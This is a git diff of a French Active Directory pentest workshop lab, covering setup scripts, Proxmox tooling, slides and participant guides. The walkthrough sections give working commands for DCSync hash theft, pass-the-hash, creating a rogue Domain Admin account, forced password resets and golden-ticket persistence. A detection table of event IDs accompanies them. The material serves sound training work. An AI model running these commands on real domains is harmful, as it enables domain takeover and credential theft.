$rootPath = Join-Path $flagDir 'root.txt' $rootPath = Join-Path $flagDir 'root.txt'
if (-not (Test-Path $rootPath)) { if (-not (Test-Path $rootPath)) {
@@ -175,19 +202,49 @@ try {
} }
$acl = Get-Acl $flagDir $acl = Get-Acl $flagDir
$acl.SetAccessRuleProtection($true, $false) $acl.SetAccessRuleProtection($true, $false)
foreach ($rule in @($acl.Access)) {
if (-not $rule.IsInherited) { [void]$acl.RemoveAccessRule($rule) }
}
foreach ($id in @('BUILTIN\Administrators', 'NT AUTHORITY\SYSTEM')) { foreach ($id in @('BUILTIN\Administrators', 'NT AUTHORITY\SYSTEM')) {
$acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule( $acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
$id, 'FullControl', 'ContainerInherit,ObjectInherit', 'None', 'Allow'))) $id, 'FullControl', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
} }
$acl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
'@@NETBIOS@@\Sauvegarde-AD', 'Read', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
Set-Acl -Path $flagDir -AclObject $acl Set-Acl -Path $flagDir -AclObject $acl
# Re-inherit, otherwise a file left from an older layout keeps its ACL.
$null = icacls.exe $rootPath /reset
# The backup staging folder stays readable by Sauvegarde-AD (that is how
# the service works) but it no longer holds the flag.
$shareDir = 'C:\Sauvegarde'
New-Item -ItemType Directory -Force -Path $shareDir | Out-Null
Remove-Item -Force -ErrorAction SilentlyContinue (Join-Path $shareDir 'root.txt')
$note = Join-Path $shareDir 'LISEZ-MOI.txt'
if (-not (Test-Path $note)) {
Set-Content -Path $note -Encoding ascii -Value @'
Depot de sauvegarde
Le service lit ses cliches dans ce dossier (groupe Sauvegarde-AD).
Les secrets du domaine ne sont pas deposes ici.
'@
}
$shareAcl = Get-Acl $shareDir
$shareAcl.SetAccessRuleProtection($true, $false)
foreach ($rule in @($shareAcl.Access)) {
if (-not $rule.IsInherited) { [void]$shareAcl.RemoveAccessRule($rule) }
}
foreach ($id in @('BUILTIN\Administrators', 'NT AUTHORITY\SYSTEM')) {
$shareAcl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
$id, 'FullControl', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
}
$shareAcl.AddAccessRule((New-Object System.Security.AccessControl.FileSystemAccessRule(
'@@NETBIOS@@\Sauvegarde-AD', 'Read', 'ContainerInherit,ObjectInherit', 'None', 'Allow')))
Set-Acl -Path $shareDir -AclObject $shareAcl
$null = icacls.exe $note /reset
if (-not (Get-SmbShare -Name 'Sauvegarde$' -ErrorAction SilentlyContinue)) { if (-not (Get-SmbShare -Name 'Sauvegarde$' -ErrorAction SilentlyContinue)) {
New-SmbShare -Name 'Sauvegarde$' -Path $flagDir ` New-SmbShare -Name 'Sauvegarde$' -Path $shareDir `
-ReadAccess '@@NETBIOS@@\Sauvegarde-AD' | Out-Null -ReadAccess '@@NETBIOS@@\Sauvegarde-AD' | Out-Null
} }
Write-LabLog 'dc01: root.txt in the backup share' Write-LabLog 'dc01: root.txt in C:\flag (administrators only); backup share kept'
# The GenericAll path ends in a password reset; the default one-day # The GenericAll path ends in a password reset; the default one-day
# minimum password age blocks it, and it is a plausible weak setting. # minimum password age blocks it, and it is a plausible weak setting.
+1
View File
@@ -19,6 +19,7 @@ tableau n'existe pas.
| Exécution à distance | WinRM | `5985` côté réseau, `4688` si l'audit des processus est actif | `powershell.exe` lancé par un compte inhabituel | | Exécution à distance | WinRM | `5985` côté réseau, `4688` si l'audit des processus est actif | `powershell.exe` lancé par un compte inhabituel |
| Réinitialisation du mot de passe de `m.legault` | impacket / `bloodyAD` | `4724` | réinitialisation par un compte de service qui n'a aucune raison légitime de le faire | | Réinitialisation du mot de passe de `m.legault` | impacket / `bloodyAD` | `4724` | réinitialisation par un compte de service qui n'a aucune raison légitime de le faire |
| Droit `GenericAll` sur `m.legault` | posé à la construction, pas par l'attaquant | `5136` seulement si quelqu'un ajoute un ACE | dans ce laboratoire il faut chercher **l'usage** du droit (`4724` sur la cible), pas sa création. Sur `t.smith`, objet protégé, SDProp supprime le même ACE chaque heure | | Droit `GenericAll` sur `m.legault` | posé à la construction, pas par l'attaquant | `5136` seulement si quelqu'un ajoute un ACE | dans ce laboratoire il faut chercher **l'usage** du droit (`4724` sur la cible), pas sa création. Sur `t.smith`, objet protégé, SDProp supprime le même ACE chaque heure |
| Création d'un compte Domain Admin | `net user` + `net group` | `4720`, `4728` | un compte apparaît puis entre dans un groupe privilégié, depuis une session administrateur |
| DCSync | `secretsdump` | `4662` | opération sur l'annuaire avec les droits de réplication (`1131f6aa-…`, `1131f6ad-…`) | | DCSync | `secretsdump` | `4662` | opération sur l'annuaire avec les droits de réplication (`1131f6aa-…`, `1131f6ad-…`) |
| Usage des droits de réplication | `m.legault` / `secretsdump` | `4662` | réplication demandée par un compte qui n'est pas un contrôleur de domaine | | Usage des droits de réplication | `m.legault` / `secretsdump` | `4662` | réplication demandée par un compte qui n'est pas un contrôleur de domaine |
+93 -20
View File
@@ -63,19 +63,28 @@ les deux marchent. Toutes les commandes ci-dessous se lancent depuis Kali.
nmap -sn 10.10.10.0/24 nmap -sn 10.10.10.0/24
nmap -sV -p- 10.10.10.10 nmap -sV -p- 10.10.10.10
nxc smb 10.10.10.0/24 nxc smb 10.10.10.0/24
curl -s http://10.10.10.20/ | head -20 curl -s http://norbourg.lab/ | head -20
curl -s http://10.10.10.20/public/ curl -s http://10.10.10.20/public/
``` ```
### SMB et annuaire ### SMB et annuaire
```bash ```bash
# partages : SMB, sur la machine qui les héberge
nxc smb 10.10.10.20 -d norbourg.lab -u '<user>' -p '<pass>' --shares nxc smb 10.10.10.20 -d norbourg.lab -u '<user>' -p '<pass>' --shares
nxc smb 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' --users
nxc smb 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' --groups
smbclient //10.10.10.20/Public -U 'NORBOURG\<user>%<pass>' -c 'ls; recurse ON; prompt OFF; mget *' smbclient //10.10.10.20/Public -U 'NORBOURG\<user>%<pass>' -c 'ls; recurse ON; prompt OFF; mget *'
# annuaire : LDAP, sur le contrôleur de domaine
nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' --users
nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' --groups
nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' --pass-pol
``` ```
`nxc smb <machine> --users` interroge le SAM **local** de cette machine : sur un serveur
membre il ne montre que les comptes locaux, souvent aucun. Sur le DC il fonctionne aussi
(SAMR), mais LDAP est la bonne habitude — c'est lui qui donne les attributs utiles (SPN,
pré-authentification, description).
### Kerberos ### Kerberos
```bash ```bash
@@ -114,41 +123,105 @@ smbclient //10.10.10.10/'<partage>$' -U 'NORBOURG\<user>%<pass>' -c 'ls; get <fi
### Cartographie et permissions ### Cartographie et permissions
Trois questions, dans cet ordre : **quels droits ce compte a-t-il**, **sur quoi**, et
**comment les exercer**. Le collecteur et `bh_clues.py` répondent aux deux premières ;
`daclread` sert à confirmer une cible précise.
```bash ```bash
# collecteur BloodHound (JSON, pas besoin de l'interface) # 1. collecter — les ACL ne sont incluses qu'avec -c all
bloodhound-python -d norbourg.lab -u '<user>' -p '<pass>' -ns 10.10.10.10 -c all bloodhound-python -d norbourg.lab -u '<user>' -p '<pass>' -ns 10.10.10.10 -c all
# quels droits ce compte a-t-il sur une cible ? (module daclread de netexec) # 2. lire le résultat sans interface : groupes, SPN, ACE, AdminTo
python3 /opt/norbourg/bh_clues.py '<user>'
# 3. confirmer une ACE sur une cible, en filtrant sur le compte qui la détient
nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' \ nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' \
-M daclread -o TARGET='<cible>' PRINCIPAL='<user>' -M daclread -o TARGET='<cible>' PRINCIPAL='<user>'
# à quels groupes appartient un compte ? # 4. d'où vient le droit ? les groupes de la cible (LDAP, pas SAMR)
nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' \ nxc ldap 10.10.10.10 -d norbourg.lab -u '<user>' -p '<pass>' \
--query '(sAMAccountName=<cible>)' memberOf --query '(sAMAccountName=<cible>)' memberOf
# exercer un droit de modification, par exemple réinitialiser un mot de passe # 5. exercer le droit : réinitialiser le mot de passe de la cible
impacket-changepasswd 'norbourg.lab/<cible>@10.10.10.10' -reset -newpass '<nouveau>' \ impacket-changepasswd 'norbourg.lab/<cible>@10.10.10.10' -reset -newpass '<nouveau>' \
-altuser '<user>' -altpass '<pass>' -altuser '<user>' -altpass '<pass>'
``` ```
`-c all` n'est pas décoratif : la collecte par défaut n'inclut pas les listes de permissions Exemple avec le compte du point d'entrée — un cul-de-sac, et c'est une information :
(`Aces`), et on conclut à tort qu'il n'y a aucun chemin.
Dans `impacket-changepasswd`, le compte **ciblé** est celui de l'URL et le compte qui
**s'authentifie** est passé par `-altuser`, sans préfixe de domaine : l'outil se connecte avec
cette identité alternative pour modifier l'autre compte.
L'interface BloodHound n'est pas installée et n'est pas nécessaire : le collecteur produit des
fichiers JSON lisibles. Si `bloodyad` est présent, `bloodyad get writable` répond à la même
question en une commande.
### Preuve finale
```bash ```bash
# réplication de l'annuaire depuis un compte qui en a le droit (DCSync) python3 /opt/norbourg/bh_clues.py helpdesk1
# MemberOf TI-SUPPORT (TI-Support)
# (no exploitable edge — this account is a dead end)
```
Le même outil, lancé sur le compte de service obtenu par Kerberoasting, montre la suite.
Ce qu'il faut savoir lire :
- `GenericAll`, `GenericWrite`, `WriteDacl`, `WriteOwner`, `ForceChangePassword` : un droit
d'écriture sur l'objet visé, souvent de quoi en prendre le contrôle.
- `DCSync` : les deux droits de réplication (`GetChanges` + `GetChangesAll`) réunis — un accès
aux secrets du domaine, pas un droit d'administration classique.
- `AdminTo`, `PSRemote`, `CanRDP` : une porte d'entrée sur une machine.
- Une ACE **héritée** ne se lit pas comme une ACE posée sur l'objet : c'est pour cela que
`daclread` se consulte avec `PRINCIPAL`, qui filtre le bruit du conteneur.
`bh_clues.py` est fourni avec le laboratoire (`--help` pour l'aide) : il lit les JSON du
collecteur — aucun accès réseau. L'interface BloodHound n'est pas installée et n'est pas
nécessaire ; si `bloodyad` est présent, `bloodyad get writable` répond à la même question.
Dans `impacket-changepasswd`, le compte **ciblé** est celui de l'URL et le compte qui
**s'authentifie** est passé par `-altuser`, sans préfixe de domaine.
### Preuve finale — administrateur du DC, puis le drapeau
`root.txt` n'est pas sur le partage de sauvegarde : il est dans `C:\flag`, lisible seulement par
les administrateurs du DC — comme `user.txt` sur WS01. Le droit de réplication est **en lecture
seule** ; il faut en tirer une identité privilégiée.
```bash
# 1. DCSync : le hash NTLM d'un administrateur
impacket-secretsdump norbourg.lab/<user>:'<pass>'@10.10.10.10 -just-dc-user Administrator
# 2. pass-the-hash : s'authentifier sans connaître le mot de passe
evil-winrm -i 10.10.10.10 -u Administrator -H '<hash NTLM>'
# 3. se créer un compte Domain Admin
net user svc_maint 'P@ssw0rd!2026' /add /domain
net group "Domain Admins" svc_maint /add /domain
exit
# 4. se reconnecter avec ce compte et lire le drapeau
evil-winrm -i 10.10.10.10 -u svc_maint -p 'P@ssw0rd!2026'
type C:\flag\root.txt
```
```bash
# 5. la preuve côté annuaire : les secrets du domaine
impacket-secretsdump norbourg.lab/<user>:'<pass>'@10.10.10.10 -just-dc-user krbtgt impacket-secretsdump norbourg.lab/<user>:'<pass>'@10.10.10.10 -just-dc-user krbtgt
``` ```
Le hash de `krbtgt` suffit à forger des tickets pour n'importe quel compte : le domaine est
compromis. Le drapeau, lui, prouve que vous êtes allé jusqu'au système de fichiers du DC.
### Bonus — persistance sans compte : le golden ticket
Avec le hash de `krbtgt`, forger un TGT pour n'importe quel compte, y compris un faux Domain
Admin. Rien n'est créé dans l'annuaire, donc rien à nettoyer.
```bash
impacket-ticketer -nthash '<hash krbtgt>' -domain-sid '<SID du domaine>' \
-domain norbourg.lab administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass norbourg.lab/[email protected]
```
Ce que la défense voit : **4720** et **4728** pour le compte créé à l'étape 3 ; presque rien pour
le golden ticket. C'est le sujet du volet défensif.
> Dans le laboratoire, ces modifications sont permises et disparaissent à la remise à zéro. En
> engagement réel, la persistance se demande **par écrit** avant d'être posée.
## Rappel terminal ## Rappel terminal
Si vous n'êtes pas à l'aise en ligne de commande : Si vous n'êtes pas à l'aise en ligne de commande :
+28 -1
View File
@@ -62,6 +62,7 @@ site et le partage `Public`, `ws01` est joint au domaine avec `user.txt` en plac
```bash ```bash
sudo mkdir -p /opt/norbourg/wordlists sudo mkdir -p /opt/norbourg/wordlists
sudo mount /dev/sr0 /mnt && sudo cp /mnt/norbourg.txt /opt/norbourg/wordlists/ sudo mount /dev/sr0 /mnt && sudo cp /mnt/norbourg.txt /opt/norbourg/wordlists/
sudo cp /mnt/bh_clues.py /opt/norbourg/ && sudo chmod +x /opt/norbourg/bh_clues.py
``` ```
Puis figez l'état : `cd platforms/qemu && ./lab.sh kali snapshot`. Sans cela, `kali reset` Puis figez l'état : `cd platforms/qemu && ./lab.sh kali snapshot`. Sans cela, `kali reset`
@@ -169,7 +170,9 @@ de continuer si elle ne correspond pas à la machine.
./lab.sh users alice bob carol # comptes Proxmox + URL de console ./lab.sh users alice bob carol # comptes Proxmox + URL de console
``` ```
`reset` détruit la VM et la reclone depuis le gabarit : quelques secondes, pas de réinstallation. `reset` détruit la VM et la reclone depuis le gabarit : une copie de disque (quelques dizaines de secondes), pas de réinstallation.
Espace disque : le gabarit et la VM de travail sont deux copies complètes. Prévoyez le double de l'espace utilisé par les trois disques, soit environ 60 Go pour le laboratoire seul.
`reset` ne touche pas aux Kali : `./lab.sh kali reset` les recrée séparément. `reset` ne touche pas aux Kali : `./lab.sh kali reset` les recrée séparément.
@@ -211,6 +214,30 @@ Côté disque, l'image Kali occupe environ 22 Go une fois importée. Un clone li
`dir`, Proxmox refuse le clone lié et le script bascule sur des copies complètes — prévoyez `dir`, Proxmox refuse le clone lié et le script bascule sur des copies complètes — prévoyez
alors `KALI_COUNT × 22 Go`. alors `KALI_COUNT × 22 Go`.
### GUI des Kali : xrdp (`KALI_XRDP=1`)
Avec `KALI_XRDP=1` (valeur par défaut), `xrdp` est installé **dans le gabarit** au moment de
`kali install`. Le pont n'ayant pas Internet, le script démarre un `squid` temporaire sur
`10.10.10.1`, n'accepte que l'adresse de la VM de préparation (`10.10.10.249`), installe le
paquet, puis arrête et désactive le proxy. Chaque clone — et chaque `kali reset` — garde donc
xrdp.
Pour donner RDP aux participants, exposez un port par siège — une unité systemd par port, donc
persistante :
```bash
apt install -y socat
./lab.sh kali rdp # 3381 … 338N, un port par siège
./lab.sh kali rdp-off # retire les redirections
```
Un client RDP sur `<hôte>:3381` … `:3385`, utilisateur `kali`, mot de passe `kali`. La commande
imprime la correspondance siège → port et le nom d'hôte à utiliser. Si le pare-feu Proxmox est
actif, ouvrez ces ports vers votre réseau de participants.
SSH reste disponible sur les sièges (port 22) et donne un terminal sans passer par une session
graphique.
### Accès des participants : console web (recommandé) ### Accès des participants : console web (recommandé)
```bash ```bash
+13 -1
View File
@@ -44,6 +44,18 @@ Aucun outil à installer : l'image Kali du laboratoire contient déjà `nxc` (ne
`evil-winrm`, `hashcat` et le collecteur `bloodhound-python`. L'interface BloodHound n'est pas `evil-winrm`, `hashcat` et le collecteur `bloodhound-python`. L'interface BloodHound n'est pas
installée et n'est pas nécessaire — le collecteur produit des fichiers JSON lisibles. installée et n'est pas nécessaire — le collecteur produit des fichiers JSON lisibles.
### La liste de mots
L'atelier casse les hashs avec une liste ciblée (`norbourg.txt`, 1716 entrées) qui n'est pas
dans l'image Kali. Récupérez-la auprès de l'instructeur, puis :
```bash
sudo mkdir -p /opt/norbourg/wordlists
sudo cp norbourg.txt /opt/norbourg/wordlists/
```
Les chemins des exercices supposent `/opt/norbourg/wordlists/norbourg.txt`.
### Si vous utilisez la VM Kali du laboratoire ### Si vous utilisez la VM Kali du laboratoire
Elle est déjà branchée sur le pont : elle reçoit son adresse par DHCP et son DNS du contrôleur Elle est déjà branchée sur le pont : elle reçoit son adresse par DHCP et son DNS du contrôleur
@@ -149,7 +161,7 @@ sudo nmcli con up "<votre-connexion>"
| `dc01` | `10.10.10.10` | `10.10.10.10` | | `dc01` | `10.10.10.10` | `10.10.10.10` |
| `fs01` | `10.10.10.20` | `10.10.10.20` | | `fs01` | `10.10.10.20` | `10.10.10.20` |
| `ws01` | `10.10.10.31` | `10.10.10.31` | | `ws01` | `10.10.10.31` | `10.10.10.31` |
| Kali fournie | `10.10.10.101` | `10.10.10.41` et suivantes, une par personne | | Kali du participant | DHCP `10.10.10.100`–`200` | `10.10.10.41` et suivantes si une VM est fournie |
| Plage DHCP | `10.10.10.100` – `10.10.10.200` | `10.10.10.100` – `10.10.10.200` | | Plage DHCP | `10.10.10.100` – `10.10.10.200` | `10.10.10.100` – `10.10.10.200` |
La plage DHCP est distribuée par DC01 aux machines du pont. Le DC, FS01, WS01 et les Kali La plage DHCP est distribuée par DC01 aux machines du pont. Le DC, FS01, WS01 et les Kali
+11 -11
View File
@@ -316,7 +316,7 @@ def build():
card(s, 5.35, 4.75, 7.2, 0.95, "WS01 · 10.10.10.31", "poste de travail", NAVY) card(s, 5.35, 4.75, 7.2, 0.95, "WS01 · 10.10.10.31", "poste de travail", NAVY)
textbox(s, 0.9, 2.2, 3.2, 0.35, "Participant", size=12, color=GRAY, bold=True) textbox(s, 0.9, 2.2, 3.2, 0.35, "Participant", size=12, color=GRAY, bold=True)
card(s, 0.9, 2.6, 3.3, 1.1, "Kali · 10.10.10.101", "votre machine d'attaque", TEAL) card(s, 0.9, 2.6, 3.3, 1.1, "Kali · 10.10.10.x", "votre machine d'attaque", TEAL)
arrow(s, 4.35, 3.05, 0.55) arrow(s, 4.35, 3.05, 0.55)
@@ -329,8 +329,8 @@ def build():
# ---------------------------------------------------------------- 07 # ---------------------------------------------------------------- 07
s = content_slide(prs, "Votre poste de travail", "Kali, prêt à l'emploi") s = content_slide(prs, "Votre poste de travail", "Kali, prêt à l'emploi")
bullets(s, [ bullets(s, [
"Console web Proxmox (une VM par personne) ou VM locale, selon la plateforme.", "Votre Kali, branchée au réseau du laboratoire (ou une VM fournie sur Proxmox).",
"Identifiants dans la VM : kali / kali.", "VM fournie : kali / kali ; sinon, vos propres identifiants.",
"Déjà installés : nxc, Impacket, evil-winrm, hashcat, bloodhound-python.", "Déjà installés : nxc, Impacket, evil-winrm, hashcat, bloodhound-python.",
"DNS : 10.10.10.10, le contrôleur de domaine.", "DNS : 10.10.10.10, le contrôleur de domaine.",
"Liste de mots : /opt/norbourg/wordlists/norbourg.txt.", "Liste de mots : /opt/norbourg/wordlists/norbourg.txt.",
@@ -496,8 +496,8 @@ def build():
box.line.color.rgb = LINE box.line.color.rgb = LINE
box.shadow.inherit = False box.shadow.inherit = False
textbox(s, 1.15, 4.8, 11.1, 0.9, textbox(s, 1.15, 4.8, 11.1, 0.9,
"t.smith (Domain Admins) a reçu le même droit : objet protégé, SDProp l'efface " "t.smith (Domain Admins) a reçu le même droit, retiré aussitôt : objet protégé, "
"chaque heure. C'est le leurre — et la leçon sur les objets protégés.", "SDProp l'aurait effacé dans l'heure. C'est le leurre — et la leçon sur les objets protégés.",
size=14, color=INK, line_spacing=1.15) size=14, color=INK, line_spacing=1.15)
footer(s, len(prs.slides)) footer(s, len(prs.slides))
notes(s, "Ce n'est pas un exploit : c'est un droit accordé, et le compte qui le porte " notes(s, "Ce n'est pas un exploit : c'est un droit accordé, et le compte qui le porte "
@@ -505,13 +505,13 @@ def build():
"inoffensives séparément.") "inoffensives séparément.")
# ---------------------------------------------------------------- 17 # ---------------------------------------------------------------- 17
s = content_slide(prs, "La preuve finale", "DCSync") s = content_slide(prs, "La preuve finale", "Du droit de réplication au drapeau")
bullets(s, [ bullets(s, [
"m.legault est membre de Sauvegarde-AD.", "m.legault est membre de Sauvegarde-AD, qui détient la réplication.",
"Sauvegarde-AD détient Replicating Directory Changes (All).", "secretsdump : le hash NTLM d'un administrateur du domaine.",
"secretsdump -just-dc-user krbtgt : le hash du compte krbtgt.", "Pass-the-hash, puis un compte Domain Admin créé de toutes pièces.",
"m.legault n'est pas Domain Admin au sens strict.", "C:\\flag\\root.txt : le même drapeau que sur WS01, côté DC.",
"Et pourtant : le domaine est compromis.", "m.legault n'est ni Domain Admin ni administratrice du DC — et pourtant.",
]) ])
footer(s, len(prs.slides)) footer(s, len(prs.slides))
notes(s, "Nuance importante pour le débriefing : on n'a pas « volé » un compte " notes(s, "Nuance importante pour le débriefing : on n'a pas « volé » un compte "
Binary file not shown.
+256 -13
View File
@@ -90,6 +90,9 @@ backend_check() {
_c_fail "genisoimage or xorriso required to build seed ISOs" _c_fail "genisoimage or xorriso required to build seed ISOs"
fi fi
have_cmd smbclient || _c_fail "smbclient required (apt install smbclient): site sync and install finalize"
have_cmd python3 || _c_fail "python3 required to read the guest agent output"
# participant Kali clones # participant Kali clones
local kali_count=${KALI_COUNT:-0} local kali_count=${KALI_COUNT:-0}
if (( kali_count > 0 )); then if (( kali_count > 0 )); then
@@ -181,6 +184,19 @@ backend_launch() {
fi fi
pve_running "$vmid" && { info " $name already running"; return 0; } pve_running "$vmid" && { info " $name already running"; return 0; }
if pve_is_template "$vmid"; then
fail "$name is a template, not a working VM (./lab.sh destroy && ./lab.sh build)"
return 1
fi
if ! pve_exists "$vmid"; then
local tpl
tpl=$(pve_template_vmid "$name")
pve_exists "$tpl" || { fail "$name has no VM and no template (run ./lab.sh build)"; return 1; }
qm clone "$tpl" "$vmid" --name "norbourg-$name" --full 1 >/dev/null \
|| { fail "qm clone failed for $name"; return 1; }
ok "$(printf '%-6s cloned from template %s' "$name" "$tpl")"
fi
qm start "$vmid" >/dev/null || { fail "qm start failed for $name"; return 1; } qm start "$vmid" >/dev/null || { fail "qm start failed for $name"; return 1; }
ok "$(printf '%-6s started (vm %s)' "$name" "$vmid")" ok "$(printf '%-6s started (vm %s)' "$name" "$vmid")"
} }
@@ -206,17 +222,22 @@ backend_snapshot() {
tpl=$(pve_template_vmid "$name") tpl=$(pve_template_vmid "$name")
pve_running "$vmid" && { fail "$name is still running"; return 1; } pve_running "$vmid" && { fail "$name is still running"; return 1; }
if pve_exists "$tpl"; then
ok "$(printf '%-6s template %s already exists' "$name" "$tpl")"
return 0
fi
pve_exists "$vmid" || { fail "$name has no VM to freeze"; return 1; } pve_exists "$vmid" || { fail "$name has no VM to freeze"; return 1; }
qm template "$vmid" >/dev/null || { fail "qm template failed for $name"; return 1; } # The working VM keeps its id; the baseline is an independent full clone
# converted to a template, so reset can always recreate the working VM.
if pve_exists "$tpl"; then
qm destroy "$tpl" --purge 1 >/dev/null 2>&1 || true
fi
qm clone "$vmid" "$tpl" --name "norbourg-${name}-tpl" --full 1 >/dev/null \
|| { fail "qm clone failed for $name"; return 1; }
qm template "$tpl" >/dev/null || { fail "qm template failed for $name"; return 1; }
ok "$(printf '%-6s frozen as template %s' "$name" "$tpl")" ok "$(printf '%-6s frozen as template %s' "$name" "$tpl")"
} }
# `save` commits the current state into the baseline; same operation here.
backend_commit() { backend_snapshot "$@"; }
backend_has_baseline() { pve_exists "$(pve_template_vmid "$1")"; } backend_has_baseline() { pve_exists "$(pve_template_vmid "$1")"; }
backend_reset() { backend_reset() {
@@ -228,7 +249,7 @@ backend_reset() {
pve_exists "$tpl" || { fail "$name has no template — run ./lab.sh snapshot first"; return 1; } pve_exists "$tpl" || { fail "$name has no template — run ./lab.sh snapshot first"; return 1; }
pve_exists "$vmid" && qm destroy "$vmid" --purge 1 >/dev/null 2>&1 pve_exists "$vmid" && qm destroy "$vmid" --purge 1 >/dev/null 2>&1
qm clone "$tpl" "$vmid" --name "norbourg-$name" >/dev/null \ qm clone "$tpl" "$vmid" --name "norbourg-$name" --full 1 >/dev/null \
|| { fail "qm clone failed for $name"; return 1; } || { fail "qm clone failed for $name"; return 1; }
ok "$(printf '%-6s reverted from template %s' "$name" "$tpl")" ok "$(printf '%-6s reverted from template %s' "$name" "$tpl")"
} }
@@ -265,9 +286,14 @@ try:
except Exception: except Exception:
print("could not parse guest agent output", file=sys.stderr) print("could not parse guest agent output", file=sys.stderr)
sys.exit(2) sys.exit(2)
sys.stdout.write(data.get("out", "")) # PVE >= 8 names the fields out-data/err-data; older versions used out/err.
if data.get("err", "").strip(): out = (data.get("out") or data.get("out-data") or "").replace("\x00", "")
sys.stderr.write(data["err"]) err = (data.get("err") or data.get("err-data") or "").replace("\x00", "")
if data.get("out-truncated"):
err += "\n[output truncated by the guest agent]"
sys.stdout.write(out)
if err.strip():
sys.stderr.write(err)
sys.exit(int(data.get("exitcode", 0))) sys.exit(int(data.get("exitcode", 0)))
PY PY
} }
@@ -297,6 +323,16 @@ backend_ready() {
backend_start() { backend_start() {
local name=$1 remote=$2 local name=$1 remote=$2
# Fail in seconds, not after the one-hour marker wait, when the seed
# payload never reached the guest. Only an explicit False is conclusive.
local exists
exists=$(backend_ps "$name" "Test-Path '${remote}'" 2>/dev/null | tr -d '[:space:]')
if [[ $exists == False ]]; then
fail "$name: ${remote} is missing — the seed payload was not copied"
return 1
fi
backend_ps "$name" " backend_ps "$name" "
Remove-Item -Force -ErrorAction SilentlyContinue '${remote}.done' Remove-Item -Force -ErrorAction SilentlyContinue '${remote}.done'
schtasks.exe /End /TN NorbourgStage 2>\$null | Out-Null schtasks.exe /End /TN NorbourgStage 2>\$null | Out-Null
@@ -418,13 +454,125 @@ CONF
# After a successful install, stop booting from the installer CD: otherwise # After a successful install, stop booting from the installer CD: otherwise
# every boot waits five seconds and a stray keypress re-enters Setup. # every boot waits five seconds and a stray keypress re-enters Setup.
backend_finalize() { backend_finalize() {
local name=$1 vmid local name=$1 vmid ip deadline
vmid=$(pve_vmid "$name") vmid=$(pve_vmid "$name")
ip=$(pve_ip "$name")
qm set "$vmid" --boot 'order=sata0' --delete ide2 >/dev/null 2>&1 || true qm set "$vmid" --boot 'order=sata0' --delete ide2 >/dev/null 2>&1 || true
ok "$(printf '%-6s boots from disk (installer ISO detached)' "$name")" ok "$(printf '%-6s boots from disk (installer ISO detached)' "$name")"
# WinRM answers while the first-logon bootstrap is still running (it
# enables remoting early). Rebooting before stamp.txt exists would abort
# the agent install, so wait for the end marker first. SMB is already up
# and, unlike the agent, does not depend on vioser.
if have_cmd smbclient; then
deadline=$(( SECONDS + 300 ))
while (( SECONDS < deadline )); do
smbclient "//$ip/C\$" -W "$NETBIOS" -U "$LAB_USER%$LAB_ADMIN_PASSWORD" \
-c 'ls norbourg\stamp.txt' >/dev/null 2>&1 && break
sleep 5
done
else
warn "smbclient missing: cannot wait for the bootstrap marker, pausing 60 s"
sleep 60
fi
# The virtio-serial port appears on the next boot: the agent installed at
# first logon started before its device existed and never connected, so
# Proxmox reports "guest agent is not running". Reboot once and wait.
qm reboot "$vmid" >/dev/null 2>&1 || qm start "$vmid" >/dev/null 2>&1 || true
deadline=$(( SECONDS + 300 ))
while (( SECONDS < deadline )); do
if _qga "$name" cmd.exe /c exit >/dev/null 2>&1; then
ok "$(printf '%-6s guest agent answering' "$name")"
return 0
fi
sleep 5
done
warn "$name: guest agent still silent after the post-install reboot"
return 1
} }
# ------------------------------------------------------------------ kali # ------------------------------------------------------------------ kali
# Install packages in the Kali template through a proxy on the PVE host.
# The lab has no Internet by design; squid listens on the lab bridge and only
# accepts the probe address, so no other guest can use it.
_px_kali_bake_xrdp() {
local tpl=$1 probe=10.10.10.249
step "Kali template: xrdp"
if ! dpkg -s squid >/dev/null 2>&1; then
apt-get update -qq >/dev/null 2>&1 || true
DEBIAN_FRONTEND=noninteractive apt-get install -y -qq squid >/dev/null 2>&1 \
|| { warn "could not install squid on this host"; return 1; }
fi
[[ -f /etc/squid/squid.conf && ! -f /root/squid.conf.norbourg ]] \
&& cp /etc/squid/squid.conf /root/squid.conf.norbourg
cat >/etc/squid/squid.conf <<EOF
http_port ${LAB_HOST_IP:-10.10.10.1}:3128
acl lab src ${probe}/32
http_access allow lab
http_access deny all
EOF
systemctl restart squid >/dev/null 2>&1 || { warn "squid failed to start"; return 1; }
qm start "$tpl" >/dev/null 2>&1 || { systemctl stop squid; return 1; }
local deadline=$(( SECONDS + 240 ))
while (( SECONDS < deadline )); do
qm guest exec "$tpl" --timeout 10 -- /bin/true >/dev/null 2>&1 && break
sleep 5
done
if ! qm guest exec "$tpl" --timeout 10 -- /bin/true >/dev/null 2>&1; then
warn "kali template: guest agent did not answer"
qm stop "$tpl" >/dev/null 2>&1 || true
systemctl stop squid >/dev/null 2>&1 || true
return 1
fi
local script b64
script=$(cat <<GUEST
set -e
iface=\$(ip -o link show | awk -F': ' '\$2 != "lo" && \$2 !~ /^docker/ {print \$2; exit}')
ip addr add ${probe}/24 dev "\$iface" || true
ip link set "\$iface" up
ip route replace ${LAB_HOST_IP:-10.10.10.1}/32 dev "\$iface" src ${probe}
printf 'Acquire::http::Proxy "http://${LAB_HOST_IP:-10.10.10.1}:3128";\n' > /etc/apt/apt.conf.d/99proxy
export DEBIAN_FRONTEND=noninteractive
apt-get update -qq
apt-get install -y -qq xrdp xorgxrdp
rm -f /etc/apt/apt.conf.d/99proxy
if [ -d /home/kali ]; then
echo startxfce4 > /home/kali/.xsession
chmod +x /home/kali/.xsession
chown kali:kali /home/kali/.xsession
fi
systemctl enable xrdp >/dev/null 2>&1 || true
